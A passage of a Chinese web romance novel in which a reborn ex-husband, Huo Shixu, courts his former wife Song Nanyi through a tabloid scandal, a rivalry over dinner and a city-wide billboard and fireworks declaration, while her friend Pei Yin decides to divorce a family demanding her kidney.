他将脸紧紧的贴在她白皙的颈子上,深吸了一口气,“我还要拥抱我的妻子,我如何舍得将胳膊给她,我更不想永远成为一个没腿的残废,那样,我如何撑起你的天空,后来……”
“后来,你让他往你脑袋上打了一枪?”宋南伊觉得这简直疯狂,“你是不是脑子有问题,命重要还是珠宝重要?”
“黑塔说打我三枪,如果这三枪我能躲得过去,就让我拿珠宝走人,如果躲不过去,**,那珠宝同样,他会还回去。”
讲起这些的时候,虽然心有余悸,但语气还算平缓。
“然后呢?”她莫名有些紧张。
他深呼吸,“前两枪我躲过去了,最后一枪,没那么幸运。”
“打哪儿了?”她回身,细长的指尖,**他的浓密的发丝中,很快摸到了疤痕,“是这儿吗?”
“是。”
她眼眶一下就湿了
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。
这个枪眼,打的这个位置,必死无疑。
宋南伊红着眼问他,“以为自己是神吗?还疼不疼了?”
她心疼他了。
泪水毫不掩饰。
他抱起她,将她放到了洗手台上,轻轻的吻着她的眼泪,“不疼了,乖,不哭。”
“你知道吗?我在比利时,找了你好久好久,我每天都坐在江边,我期待着一回头,就能看到你,你冲着我笑,说,南伊,你看我这不是还活着。”
她抽泣着,鼻头酸的厉害,“可是没有人,哪怕一个长的像你的人,都没有,我以为你**,我还在梦里梦到过你,我说,霍时序,你真是傻透了,那只是一些珠宝而已,根本不值得拿命去换。”
她哭的越来越汹涌。
不顾形像。
“可是那是你的心血,那里面有你外婆生前亲自为你设计的项链,那是你的宝贝,没有它们,你就没了那些回忆,你的人生是不完整的,南伊,我不想让你的人生不完整,我没有后悔,哪怕真的死掉了,我也不后悔。”
她捶着他的胸口。
泣不成声。
“你真是个傻子,彻头彻尾的傻子。”
“我爱你南伊。”他抱紧了,用尽前生今世,爱住的女人,“一世的糊涂,我愿意用三生三世来弥补,这一世,我要紧紧的握住你的手,我要跟你好好相爱,我要跟你白头到老,我愿意为你做任何的事情,只要是你,我怎样都可以。”
“霍时序,我该相信你吗?”
他笑着,去吻她的唇,“你试一下,好不好?”
他将她的小手,放到自己的脖子上,双手撑在洗手台上,与她接吻。
如火如荼的热情,很快席卷了二人的理智。
他将她从洗手台上抱起,一路吻着,去了卧室……
……
清晨一早。
霍时序的手机被打爆了。
电话是霍明达打来的。
张嘴就是劈头盖脸的骂,“霍时序,天底下的女人都死光了是不是?哪怕宋南伊给你戴绿帽子,你也要?你别忘了,你可是霍家的人,你丢的是霍家人的脸,霍氏因为你,股价下跌,你负得起这个责任吗?”
“我说,你就不能要点脸吗?看着宋南伊在你的面前,跟别人拥抱,亲吻,你到底心里是怎么想的?是不是你受伤太多次了,下面那玩意不中用了?满足不了她,才玩这种三人游戏的?”
第199章 让自己的老婆,找别的男人消遣
霍明达的声音实在是大。
霍时序怕影响宋南伊休息。
拿着手机走出了卧室。
“我还是霍家的人吗?霍家现在不是已经姓顾了?你是不是以为爷爷被你送进了疗养院,这个家就由你做主了?张嘴就骂,你没丢霍家人的脸吗?”
如果霍明达不是霍时序的父亲。
霍时序压根不会给他,说这些废话的机会。
“你……自从你把你妈接回江城,你是越来越不像话。”
霍明达莫名就把矛头指向了蓝旗。
霍时序脸色越发的难看,“你少提我妈,有事说事,没事就挂了吧。”
“你自己看看新闻吧,你们三个人的照片,已经登上了头条,时序,你应该知道,这嫁进过霍家的女人,就算离了婚,言行举止,也会影响到霍家,你们玩什么禁忌游戏,我管不着,但不要让记者拍到。”
霍明达自私的嘴脸。
令霍时序恼火。
当初自己的母亲,就因为要保全霍家的面子,怕影响到霍家,被迫离婚,离开江城。
凭什么?
女人嫁进过霍家,就一辈子为霍家守节?
“现在霍家都不姓霍了,谁又能影响到?我需要提醒你一句,宋南伊跟我离婚后,她属于她个人,她姓宋,没有人可以约束她的自由。”
这事是丑闻,霍时序竟然还在替宋南伊说话。
霍明达想将手伸进手机里,扇醒他,“你还真是不嫌丢人,我看你是傻子病还没好利索,脑子有问题。”
霍时序挂断了手机。
旋即登录网站,看到了顶在头条上的新闻。
两张照片。
一张是任泽秦拥抱宋南伊。
一张是任泽秦亲吻宋南伊,而他在不远处站着的。
拍的很唯美,像电影的剧照。
就是不怎么像偷拍。
他给江淮打去了电话,声音透着凉意,“头条上的照片,给我查一下是谁拍的,顺便查一下,这条新闻是谁买的头条。”
“好的,霍总,我马上去查。”
其实,江城的人都知道,霍时序和宋南伊已经离婚很久了。
没人会闲到,到处偷拍一个豪门的前媳妇。
他看着手机上的照片,抽了根烟,递上唇上慢慢吸着。
有意思。
宋南伊起来,一推开卧室的门,就闻到了淡淡的烟草味。
她揉着眼睛,咳嗽了两声,“霍时序,你又抽烟了是不是?”
“不抽了,不抽了,我开窗户了。”他将烟碾灭。
宋南伊进了厕所。
刚坐到马桶上,霍时序跟着走了进来。
“我上厕所呢,你滚出去。”宋南伊将自己的拖鞋,扔到了霍时序的身上。
他乖乖的出去,关好门。
“老婆,早餐吃什么,我去做。”
“随便。”
霍时序撸起袖子,进了厨房。
冰箱里倒是什么也有。
前世,他和宋南伊结婚那会儿,他净给她做饭吃了。
好久没有这种感觉了。
棒棒哒。
宋南伊上厕所的时候,看到了她和任泽秦,以及霍时序被炒上热搜的新闻。
一时诧异。
谁会这么无聊。
标题写的很难看,前豪门媳妇与新男友吻别,霍氏前总裁一旁凝视,疑似三人关系混乱。
这是想表达什么意思?
私生活混乱。
还是给霍家丢了脸?
还是……
这时,邓雪打来电话。
“老板,今天,有很多订单,遭到了退单,我打电话过去追问原因,他们吱吱唔唔的,不知道是不是因为,早上发酵的那个绯闻。”
宋南伊凝眉。
马上就有连锁反应了吗?
“先做好解释,我马上去工作室。”
“好的老板。”
宋南伊洗了把脸,将头发随意打理了一下,走出洗手间。
霍时序带着围裙,将做好的早餐端出来,“先吃早餐吧。”
“不吃了,我先去工作室。”
宋南伊看起来很急。
他猜是她也看到了那则莫须有的新闻。
“你是不是看到头条了?”
宋南伊点头,神色焦急,“也不知道谁这么无聊,工作室因为这个新闻,受到了一些影响,我得去处理一下……”
话说到这儿。
她满是怀疑的看向了霍时序,“……不会是你……让人放上去的吧?”
“我有这么无聊吗?这种照片,暴露在公众面前,对我来说有什么好处?让别人怀疑我不行,让自己的老婆,找别的男人消遣?”
宋南伊抿唇。
旋即收起胡思乱想,“……我先走了。”
“
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你别急啊,先吃了早餐再去,那新闻,我已经让人在撤了。”
宋南伊微愣,旋即穿好外套,“影响已经产生了。”
随着门重重地关上。
霍时序已然失去吃早餐的兴致。
要让他揪出这个幕后黑手。
他就弄死。
……
影响确实已经产生。
而且影响很大。
霍氏的股价,应声下跌,还没有在霍氏站稳脚跟的顾南风,气的骂娘。
霍时序就轻松多了。
他去了和裴啸合开的公司,润合集团。
跟裴啸见了一面。
“呦,还活着呢?”裴啸丢了根烟,给霍时序,“你这命可够大的,一枪爆头都死不了,你跟死神不会是亲戚吧?”
霍时序接住他的烟,笑笑,“别取笑我了,我受了多少罪,我自己知道。”
“和南伊见过面了吧?”
霍时序点头,“见过了。”
“你为她做了这么多,她应该多多少少的给你点机会吧?”裴吟将火机打着,递到了霍时序的面前。
霍时序拢着风,将烟点着,吸了一口,“算是吧,不过,我现在有竞争对手,这老婆,不好追啊。”
“我听说了。”裴啸将自己的烟点着,“她在和任泽秦交往。有压力了?”
“有一点吧。”
霍时序指尖掐着烟,往手边精致的烟灰缸里,抖了两下烟灰。
裴啸拍了拍他的肩,“不足为惧,你条件比他强多了。”
“万一南伊,想尝尝别的男人的滋味,我……这颗老咸菜……”他笑着摇了摇头。
裴啸没见过如此不自信的霍时序。
越爱越胆小,说的就是他。
“女人跟男人不一样,她在乎的不是新鲜感,是能带给她持续新鲜感的男人,你多动动心思,你要实在不行,我就来。”
裴啸挑了挑眉梢。
霍时序冲他胸口就是一拳,“你敢。”
裴啸大笑。
……
从润合集团出来。
霍时序准备去宋南伊的工作室一趟。
路上。
江淮打来了电话。
“霍总,拍照片的人找到了,是一个小狗仔,有人给了他五万块钱,让他提前藏在那儿拍的,像是知道会发生什么似的,我在猜想,这个幕后的人,会不会是任泽秦?”
第200章 做了那么多次
他?
不过是一个外企的打工仔。
为什么要做这种事情?
该不会是……
霍时序一脚油门,踩到宋南伊的公司楼下时,不出意外的,他看到了任泽秦的车子。
霍时序靠在自己的车边。
点了根烟,慢条斯理的抽完后,这才款步上了楼。
推开宋南伊办公室门的时候,他的指尖还沾着淡淡的烟草味。
门内。
宋南伊正低头看着电脑屏幕,表情有些紧。
任泽秦站在她身后,一只手搭在她椅背上,微微俯身指着屏幕在说些什么。
两人靠得很近,窗外的阳光洒进来,几乎将他们的影子融在一起。
听到开门声,两人同时抬头。
“你怎么来了?”
她很忙,视线重新转移到电脑上。
霍时序的目光,落到了任泽秦微微有些诧异的脸上。
慢悠悠地走到办公桌前,拉了把椅子坐到了二人的对面。
“看来我来的不是时候?”霍时序的眼尾是懒散的笑意,眸底却没什么温度,“打扰二位……并肩作战了?”
任泽秦直起身,推了推鼻梁上的眼镜,“南伊这边遇到点突发情况,我正好有空,过来看看能帮上什么忙。”
“是吗?”霍时序翘起二郎腿,微抬下巴,“任先生的表现欲望够强烈的,这腿……跑得也快。”
任泽秦笑了笑,微冷,“霍总,这是在阴阳怪气什么?我想帮南伊,也错了吗?好过你在一旁说风凉话,不是吗?”
“是啊,泽秦一早上就过来,帮我处理了很多棘手的问题,你别在这里阴阳怪气。”
宋南伊忙的一团乱。
要不是任泽秦帮着她梳理,帮着他一遍又一遍的跟客户解释。
她必定是损失惨重。
“我阴阳怪气?”霍时序看了傻女人一眼,还跟别人穿上一条裤子了,“好。算我阴阳怪气,宋总现在问题处理的怎么样了?”
“差不多了。”
她关上电脑,重新打开了手机。
再搜索那条新闻时,发现已经不在了。
她抬眸看向霍时序,“新闻撤下去了?”
“是啊,不仅撤下去了,我还让江淮发了一个声明,说这个照片是P的,希望能将影响降到最低。”
幸好这照片是晚上拍的。
人拍的不是那么清晰,少了很多口舌,编织一些谎言。
霍时序转头看向了任泽秦,“希望任先生你,以后不要那么冲动,在别人不同意的情况下,随意的搂抱亲吻,因为这样的照片发酵后,宋南伊损失的可是真金白银。”
任泽秦抱歉。
他掏出一张银行卡,放到了宋南伊的面前,“抱歉,我也没有想到,会发生这样的事情,这卡里有一些钱,算是弥补一下损失吧。”
“不用,这跟你没关系。”宋南伊将卡还给了任泽秦,“你今天已经帮了我很多了,如果没有你,我又是焦头烂额的一天。”
“给你,你就拿着。”霍时序从任泽秦手里抽走了卡,直接塞进了宋南伊的包里,“谢谢你了任先生,我替南伊收下了。”
任泽秦尴尬一笑。
一时,温暖的办公室,静得落针可闻。
“那个,既然你这边忙完了,我就回公司了,我那边还有几个会要开。”
任泽秦准备离开。
宋南伊忙起身相送,“我送你。”
霍时序没追出去。
目光深沉。
他让江淮继续去查了,如果真是任泽秦导演的这场闹剧。
那他真是死定了。
很快。
宋南伊回来。
她好累啊,感觉一天做了一个月的工作量。
“查到是谁,搞的这些照片吗?”宋南伊问。
霍时序摇头,“还在查,应该很快有结果。”
他起身走到宋南伊的身后,将指尖落到她的肩膀上,轻轻的揉捏着,“累了吧,我给你松松筋,按摩一下。”
“你过来是有事吗?”她闭起眼睛,享受着难得的放松,“有事就说,一会儿我还得忙呢。”
“任泽秦……是他主动来的,还是你叫他来的?”
“这有什么区别,他帮了我的忙才是真的。”
宋南伊是感谢任泽秦的。
她似是想到了什么,拿起手机,翻看着江城比较好吃的餐厅。
“你不会是想,晚上跟任泽秦去约会吧?”他反对,强烈反对。
宋南伊没理人。
指尖在屏幕上,轻轻的滑动着。
很快选中了一家,特色餐厅。
随即将位置给任泽秦发了过去。
附送是宋南伊的一段语音,“泽秦,晚上请你吃饭,有时间吗?”
那头秒回,“可以啊,有时间的。”
“好啊,那我们到时见,位置发你了。”
聊完,将手机扣在桌面上。<
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br>霍时序这个气。
她怎么可以当着自己的面,邀请别的男人,共进晚餐。
“我也去。”他说。
宋南伊瞥了他一眼,“你去干什么?蹭饭啊?你又没帮什么忙的。”
“那我也去,晚上我没地方吃饭,你不能饿死我。”
不是他非要缠上。
也不是怕宋南伊没有分寸。
是今天这件事情发生后,他总是隐隐有些不安。
到底在不安什么,他也说不上来。
是害怕吗?
怕宋南伊真的喜欢上这个任泽秦。
不会的,昨天晚上,他们做了那么多次,如果她对自己没有感觉,她不会允许一次又一次的沉沦的。
是的。
宋南伊不会再跟任泽秦,擦出任何火花的。
但,他心里就是不踏实。
“还有,我们什么时候去复婚?”
“霍时序,我们不是说好了,这件事情,要慢慢来的吗?你要再逼我,我就不考虑跟你复婚的事情了。”
霍时序投降。
这事上,他没有主动权。
“那就让我跟着一起去吃饭。”
“你爱跟就跟吧。”
……
傍晚时分,暮色初垂。
霍时序的车子熄火,停在了车位上。
餐厅门口,任泽秦看到并肩走来的两人时,脸上温润的笑意明显顿了一下。
他没有想到,霍时序会来。
稍微有一点的尴尬和不解,“南伊,他怎么来了?这样不好吧,万一被别有用心的人再拍了照片,又要说不清楚了。”
霍时序极轻地哂了一声。
他还怪贴心的。
宋南伊考量了一下。
转过身,看向霍时序,说,“要不……你在车里等我一下?”
霍时序:……???
他几乎要气笑,“你也不怕饿死我?”
“饿不死。”
她看向任泽秦,“我们进去吧,泽秦。”
任泽秦看了霍时序一眼。
轻笑着答应,“好。”
宋南伊真的没有管霍时序。
转身,同任泽秦一起走向餐厅。
霍时序在原地转了两个圈,哭笑不得。
傍晚的微风,吹起他额前的碎发,挺拔的身影被拉出一抹致命的破碎感。
“好啊你宋南伊,你看我回去,怎么收拾你。”他暴句狠话。
却又乖乖的拉开车门,窝进了驾驶室里。
第201章 雄狮的女人,怎么会看上鬣狗
餐厅里。
灯光柔和,食物的香气扑鼻。
宋南伊看着菜单。
她对任泽秦的口味并不了解,“泽秦,有忌口的吗?”
“没有,你点自己爱吃的就行。”
宋南伊点头,点了几道这家店的招牌菜。
“这儿的菜,其实,都还挺好吃的,”
任泽秦眼底含着笑意:“以前经常来?”
“有一段时间是经常来,”宋南伊低头抿了口茶水,“不过好久没来了。”
“和霍时序?”他猜测,声音平静。
宋南伊笑着摇头,“不是,是和我闺蜜。”
菜品很快上齐,摆盘精致。
任泽秦自然地拿起公筷,细心地为宋南伊的布菜。
“其实,这顿饭应该我来请。毕竟是我给你带去了那么**烦,如果那天,我不那么冲动就好了,以后这酒啊,还是得少喝。”
任泽秦自责。
宋南伊则相对释然。
谁也无法预知未来会发生什么。
她从包里取出那张熟悉的银行卡,轻轻推到他面前。
“我没有怪过你,泽秦,这卡你收回去,”她并没有怪他,给自己带来的麻烦,相反还很感激,他的出手相助,“你这样的自责,我也会不安的。”
空气静默。
任泽秦黯然。
“你不应该跟我这么客气的南伊,我愿意帮助你,无论是心,还是什么别的方面。”
宋南伊笑笑:“先吃饭吧,菜要凉了。”
任泽秦凝视她良久,眼底复杂。
……
霍时序在外面,越想越生气,越想越憋屈。
给江淮打了个电话。
“来湘菜馆,我请你吃饭。”
江淮额角颤三颤,“霍总,您……这是跟谁生气呢?”
“还能有谁,赶紧过来。”
江淮不敢违令。
巴巴地赶了过来。
随便点了几样菜后,霍时序就坐到了宋南伊和任泽秦旁边的位置上。
“霍总,原来太太在跟别人约会啊?”怪不得生这么大气。
霍时序故意调高了声音,“谁说不是呢,自己吃的挺香的,这是成心要饿死我,别人不疼,自己疼,我也不能自已饿死自己啊,是不是?”
宋南伊侧过眸子看了他一眼。
越老越幼稚。
“霍时序,你能不能别那么大声说话,这是公众场合。”
任泽秦掩唇笑,“可能是饿坏了吧,南伊,你别怪他。”
霍时序:……
江淮噗嗤一声。
霍时序瞪他。
他立马收住唇角的弧度,“霍总,赶紧的,先吃口菜,吃了饭才有力气,对付他啊。”
霍时序吃气般地夹了两口菜。
味同嚼蜡。
“这菜可真难吃。”
“霍总,您心情不佳,吃鲍鱼鱼翅,也没有味道。”江淮贴心给他夹了菜,“您别太焦虑,我看那姓任的,也就一般,太太不会动心的,毕竟曾经做过雄狮的女人,怎么会看上一条鬣狗呢,您说是不是?”
这话。
霍时序爱听。
甚至还有点小得意。
虽然事是这么个事。
宋南伊和任泽秦亲密聊天的样子,他还是很吃醋的。
“头条上的新闻发酵,你觉得是任泽秦的可能性有多大?”霍时序压低声音问。
江淮立马恢复认真,“百分之九十,那个拿钱的小狗仔跟我描述了,给他钱男人的长相,跟这个任泽秦差不太多,而且他再三叮嘱,要在什么位置,拍什么样的照片,这明显就是蓄意而为啊。”
霍时序淡淡的扫了任泽秦一眼。
那他的目的是什么呢?
让霍氏股价下跌?
这种商业行为。
这对他来说,没有半点好处。
如果是为了对付他,任泽秦应该早就知道,他已经不在霍氏。
那么……
仅仅是想营造一个在危难关头,可以帮宋南伊走出难关的,那个英雄吗?
他说宋南伊是知道感恩的人。
而且有恩必报。
难不成这个任泽秦听进去了?
才制造这么一出?
如果真是这样,那够有心的。
“如果真的是他,就找足证据,交给我。”
江淮点头,“是。”
霍时序没胃口,眼神一直往宋南伊那桌飘。
江淮不一样了。
他早上就去调查,中午在路边买了个面包凑合,这晚餐,他可是甩开腮帮子在吃。
“服务生,再来一碗米饭。”
“好的,先生,稍等。”
霍时序奇怪的看了他一眼,“上辈子是个饿死鬼吗?还是我给你发的薪资,你都喂了狗了?饿成这样?”
“今天一天没怎么吃东西,确实是……”江淮冲霍时序嘿嘿笑了两口,“霍总,谢谢你请我吃饭。”
霍时序:……
他似是想到了什么。
虽然绯闻做了澄清。
想要堵住悠悠众口,还得玩点浪漫的告白。
“江淮,你
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一会儿去联系一下江城最大的广告公司,我要在江城所有有广告牌的地方,向宋南伊表白,我有多爱她,还有,无人机也要安排上,烟花也要安排上,我要今晚的江城,为我们而狂欢。”
江淮倒是可以办。
但这花费上,可就不受控了。
“预算设上限吗霍总?”
“我追老婆,设什么上限。”不止如此,他还要电视台,全部转播他告白的视频,“一会儿,我录一段告白视频,发给你,电视台,同步。”
江淮抠抠掌心。
怎么感觉回到了,霍时序年轻追求宋南伊那会儿。
那时的霍时序,是真砸钱啊。
一次就几百万。
有时一个月就花超亿。
舍得是真舍得。
可他也就只对宋南伊舍得。
对别的女人……那还是算了。
江淮又要了一碗米饭,迅速吃完后,就去办正事了。
宋南伊和任泽秦也用餐完毕。
一起往外走。
结账时,前台告诉宋南伊,霍时序已经结过了。
走出餐厅。
霍时序站在车子旁边,指尖掐着一根燃烧了一半的烟卷,姿态慵懒地冲宋南伊招手,“老婆,这儿。”
宋南伊稍显尴尬。
抓了抓耳垂,“那个……泽秦,我就先回去了,还是感谢你今天的出手相助。”
“南伊。”他唤住她,想确定一下,“你和你前夫……是准备复婚了吗?我……还有机会吗?我是说,我真的不比任何人差,我们从小就认识,我们知根知底,我们将来一定会过的很幸福的。”
宋南伊像从前一样,回答不了。
感情的发展,瞬息万变。
“我和他……可能……泽秦……”
任泽秦似乎预料到了她想说什么。
动唇打断了她。
“南伊。你不要说了,我不会放弃的,无论遇到多少的困难,只要你还是单身,我就有追求的权利。”
他努力的挤出一抹笑意。
挥手与她告别,“再见南伊,我们改天再见。”
宋南伊心里不是滋味。
霍时序还在唤她,“老婆,要下雨了,赶紧过来。”
宋南伊闭了闭眼。
转身,走了过去,不悦,“谁是你老婆,霍时序我还没答应跟你复婚呢,称呼上,你能不能礼貌一点?”
“要多礼貌。”他大手握住她的腰,将她摁在自己身前,在她的唇上吻了一下,“这样,算不算礼貌?”
第202章 破碎小狗
“好了,你烦不烦。”
她推开他。
弯身坐进了副驾驶。
夜色弥漫。
霍时序的车子开的很慢。
江城的夜景极美。
尤其是商业区,百货大楼上的电子显示屏耀眼。
宋南伊透过车窗向外望去。
原本播放着某品牌护肤品的广告,换成了她的脸。
她稍愣。
四个大字。
挚爱。南伊。
她的照片,在轮番播放着,当然其中不乏她和霍时序以前拍的婚纱照。
这是霍时序的小把戏。
前世他追她那会儿,没少用。
“喜欢吗?”他握着她的小手问。
宋南伊笑笑。
喜欢谈不上,浪漫还是有一点的。
许多年,没有人为她做过了。
她以为霍时序只包下了,这一块显示屏。
没想到,整个商业区的液晶大屏,都在播放着同一个画面。
她的脸被放大几十倍,几百倍,甚至几千倍。
眼前满满的。
商业街逛街的人们,拿起手机,纷纷录影。
“我希望你喜欢。”他很真诚。
宋南伊困惑,“为什么要这么做?又不是什么特殊的节日。”
“追求女孩子,得把爱表现出来,随时随地的,南伊,我在很认真的追你,这铺天盖地的,都是我的爱,我爱你没有上限。”
车子慢慢的开。
所经之处,每一块立于高楼上的显示屏,都在播放着名为,挚爱。南伊。的热烈。
她撑着胳膊,小脸望着这些屏幕。
每一张照片,都是她曾经发过朋友圈的幸福。
有些感慨。
“霍时序,你觉得幸福还会回来吗?”
“会,一定会。”
车子缓缓。
最终在停车位上停下。
他解开安全带,摁着她的后脑,与她接吻。
“南伊,相信我,我一定会给你幸福的。”
下车。
他牵起她的手,去了天台。
宽厚的风衣,将她紧紧的裹在怀里,指向天空,“你看,这也是我对你的告白。”
无人机升空。
烟花绚烂。
宋南伊仰着小脸,迎接着专属于她的浪漫。
这种久违了的感觉。
让她回到了好多好多年前。
那时,霍时序追她追的,江城人尽皆知。
很多人说她装。
遇到这么一个豪门公子哥,还不赶紧嫁了,还想要什么样的。
可自始至终,她没有说过,霍时序是她的理想型。
最后,却爱他爱的那么深。
女人,就是这样。
总会在感受到爱以后,就慢慢学会给予爱。
“霍时序,我没有从前那样爱你了,这需要一个过程,很长一个过程,需要你付出耐心,专心,爱心,慢慢的将那道裂缝修补好,或许一年,或许十年,或许一辈子,你愿意吗?”
他将下巴抵在她的肩窝。
声音沉哑中透着深情,“一辈子也好,几辈也罢,只要是和你在一起,我都愿意。”
“别答应的那么急,这样会让我认为,你并没有走心。”她淡淡的望着天空中,变幻着图型的无人机,“上天给了我两次重生的机会,我看透了太多的东西,包括爱情,我现在已然不期待爱情,只想平平淡淡的过一生……”
“霍时序,你知道吗?我的余生中可以没有男人,但绝对不能没有家人,他们是我活下去的勇气,我肯给你机会,不只是因为你在努力弥补,是因为我的家人都还活着,如果我们就困在上一世,不会重生,我们一辈子都不可能再在一起的。”
他懂。
他怎么会不懂呢。
所以他说,老天对他不薄。
天空,烟花绚丽。
他抱紧了她的身子,在她的颈子吻了一下,“南伊,这一世,我愿意用生命来爱你,弥补你,供奉你。”
这一刻,浪漫唯美。
他爱她。
霍时序摸向口袋,里面是他准备了很久的求婚戒指。
钻石很大。
净度很高。
他轻轻的套在了她的无名指上。
“南伊,答应我,戴着它,不要再摘下来。”
“我可没答应嫁给你。”她摩挲着这枚钻石戒指,还是轻轻的拿了下来,“我虽然很感动你今天制造的浪漫,但我脑子清醒着呢。”
他摁住她纤细的手指,重新套好戒指,“别拿下来,不管你现在答不答应嫁给我,都戴着它,我不强求,你就当一个小饰品戴着就好。”
“这算是你对我**的宣誓?”她笑他幼稚。
他不否认,他有一些小私心在。
但这不影响他对她的尊重,“我只想让你知道,我很爱你,我愿意等你,只要你不把机会给别的男人就行。”
“我要真套上这个,哪个男人还肯接近我?”
她不要。
她不要给自己打上标签。
坚持摘下来。
往霍
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时序手里塞的时候。
他没接。
“干嘛?拿回去啊。”
他目光幽暗,眼睛很红,看向她的眼神中,透着一股莫名的破碎感。
“干嘛,霍时序,你不会是生气了吧?”
他不说话。
就这么看着她。
眼眶里的水汽,越氲越多,只要轻轻一眨,就会泪流成河。
“我没说要给别的男人机会,我只是觉得……”她真看不了霍时序这个样子,很有负罪感,“……我只是觉得,你这是算求婚吗?如果算是的话,这求婚也太潦草了吧,我不喜欢。”
他神色稍稍缓了一些。
转过身去,擦了把眼角。
宋南伊轻轻的拽了拽他的袖口,“霍时序,你都三十多了,怎么还跟个孩子似的,动不动就委屈成这样,呶,戒指给你。”
这次,他伸手将戒指收了回来,“那我好好准备一场求婚仪式,到时你别拒绝我。”
他没回头。
声音鼓鼓囊囊的。
宋南伊噗嗤笑了,“好了,到时你要表现好了,我就答应你。”
他笑了。
转过身来,抱紧了宋南伊。
“破碎小狗。”她笑他。
……
小雨淅沥。
大床上的人,是火热的。
爱来的猛烈。
他喘息着问她,“安全期吗?”
“嗯。”
“那不用行吗?”他不喜欢那样的感受,但他尊重她。
宋南伊不想怀孕,“还是用吧。”
他拿一片0.001用牙咬开。
后背上的汗珠滑落,她紧紧的抱住了他……
情事酣畅。
前面几次,他还认真的做了措施。
后面几次,他忘了。
女人在他怀里战栗着。
他将她拥紧,他欠她的,他会用一辈子来还,一辈子还不远,就二辈子三辈子……
……
霍时序的浪漫行为。
被很多网友,拍成小视频,发到了网上。
一时间。
打开手机就是满屏的宋南伊。
裴吟当然也看到了。
“你和霍时序,和好了?宋南伊,你可真好哄,贱狗这套路,当年追你的时候管用,现在还管用,你啊,非得摔在同一个坑里。”
裴吟的担心,宋南伊能听得出来。
除了笑笑,她也不知道说什么,“别说我了,你呢,最近怎么样?”
裴吟看着手里的孕检单。
不知道该如何说起。
第203章 该治病治病,该治脑子治脑子
“陆之白病了,陆为谦和陆蔓都在医院呢,他也不知道中了什么狗邪,非说是我克的,克完他妈,再克他,最后克死陆为谦,反正,我在他们家就是一个罪人。”
她厌倦了,这鸡飞狗跳的生活。
宋南伊听得出来,裴吟过的并不快乐。
她有再强的战斗力,也经不起,日复一日的这样的折磨。
“陆之白是什么病啊?”
“肾病,一度要换肾,也是怪了,陆蔓的不行,陆为谦的不行,连他那个老婆的都匹配不上,唯独是我的跟他配上了。”
她可能是欠陆家的。
嫁进门被骂丧门星不说,现在她的器官成了香饽饽。
宋南伊听的匪夷所思,“还有这事?他们不会是想要你的肾吧?”
陆家人没明说。
但那意思,陆之白的病是裴吟克的,她理应为陆之白捐肾。
“应该是吧,还没跟我商量。”
“天哪,他们一家人是疯了吗?”这让宋南伊想到了万同齐,真恶心。
裴吟垂眸,又看了一眼自己的孕检单。
捐肾是不可能的了。
跟陆为谦离婚,箭在弦上。
“南伊,我可能要消失一段时间了,我需要,好好的做一些决定,你不要担心我,有事情,我会给你打电话的。”
宋南伊理解。
同时替她忧心,“那你要照顾好自己。”
“放心吧。”
挂断手机,裴吟深深深了个呼吸。
她收起孕检单,若无其事的,转身去了肾病科的病房。
陆蔓为陆之白用了一些新研制的药物。
病情控制的还算不错。
这样是最好的,但陆之白跟魔怔似的,就是要换肾。
看到裴吟走进病房,他又开始向陆为谦施压,“这事,你还没有搞定吗?陆为谦,你想我死是不是?我死了你好继承我的家产?我告诉你,我死了,家产也不是你的,就因为你不孝顺。”
陆为谦不说话。
陆蔓脸色也难看,“爸,你就少说几句吧,天天说这些不着调的干什么?”
“怎么就不着调了,我想换肾我有错吗?裴吟这个丧门星克的我生这么重的病,她就得把肾给我,她凭什么不换给我,凭什么?”
陆之白扯着嗓子喊。
生怕站在门口的裴吟听不到。
一旁的程岚给他捋顺气,不定时地瞥裴吟几眼,“就是,自打某些人进了门,陆家就接二连三的出事,要颗肾又死不了人,她这就叫见死不救,哪有这么不懂事的。”
无论陆家人说什么。
裴吟就是不说话。
她看了一眼,陆为谦,想必他也挺难的吧。
一边是父亲,一边是她这个没有感情,却要顾及体面的妻子。
“陆为谦,你出来,我有事要跟你说。”
陆为谦抬眸看向裴吟,“嗯。”
二人一前一后的走出了病房。
找了处安静的地方,坐了下来。
“陆为谦,我们谈谈吧。”她这次是认真的,有些事情,她已经考虑几天了,“说实话,你爸的病根本到不了换肾的地步,他之所以坚持,就是觉得是我克的他,他非得拿走我点什么,才算对得起自己。”
“但……我是不会给你爸捐肾的,我知道这几天,你也在纠结,要不要跟我商量这事,你还是不要说了,免得我觉得你也有病。”
“从我进门,就不受你们陆家的待见,吵也吵了,闹也闹了,也坚持了这么久,我也累了,陆为谦,我们分开吧。”
陆为谦一怔。
连日来的疲惫和混沌,竟让他在此,有一些清醒。
“分开是什么意思?”
“分开的意思就是离婚,就是结束我们现在的关系。”她这个人不喜欢拖拖拉拉,“我不要你们陆家赔我钱了,你们该治病治病,该治脑子治脑子,我不想再掺和了,我……”
裴吟委屈,声音哽咽,“……我也是人,我也是肉做的,我不要再在你家里内耗自己了,真的,我受不了没有主见的丈夫,受不了咄咄逼人的公婆,我受不了的事情太多了,我……我们离婚吧,明天,我们就去民政局。”
裴吟对陆为谦是抱有希望的。
结婚那晚,他是站在她这边的。
可是她错了。
面对亲人的生老病死的时候,他无条件的站在了他的家人身旁。
他开始对她有抱怨。
对她有要求。
对她不管不问,对她不冷不热。
那她留在陆家图什么呢?
或许,陆为谦有很多难处吧。
她想努力的去理解,但她做不到,她在这个家里孤立无援,她过的很不快乐。
她脑子里只有一个声音,那就是离开。
为了乳腺,为了心脉不受损。
她一定要离开。
“裴吟。”陆为谦浅淡的声音响起,“这段时间忽略你了,抱歉,但我不想离婚。”
“我们婚姻,实在是没有继续的必要。”她坚持。
陆为谦看着她,眼底无奈,“我并没有答应我爸,要将你的肾捐给他,我……”
“我还等你说吗陆为谦?再说了,你说了,我就要给他吗?我只会连你一起恨上,你还是不要讲了。”
裴吟觉得说的已经不少了。
婚前所有的忐忑,紧张,展望,幻想,现在都不复存在。
一场失败的婚姻。
她也算是长经验了。
陆为谦不讲话。
她也不知道,他心里这不离婚的主意有几分。
算了,不重要了。
“我们最好是协议离婚,会少很多麻烦,要是打起官司来,我可就要分你的财产了。”
裴吟深吸了一口气。
算是对自己这段婚姻,最后的总结。
怀孕这事,她不打算说了。
说了,只会让她离开的脚步变慢,陆家人也不见得有多欣喜,这个到来的小生命。
“我就先回去了。”
裴吟转身要走。
陆为谦起身,“去哪儿?”
“我先回我爸妈家,明天,咱们民政局见吧。”
陆为谦神色痛苦,“裴吟,这事不能这么草率。”
草率也罢,理智也好。
现在都已经不重要。
重要的是,她要离开陆家。
裴吟回眸,看向陆为谦,心口漫上一抹苦笑,“陆为谦,既然走到了这一步,那我就跟你讲个心里话吧,
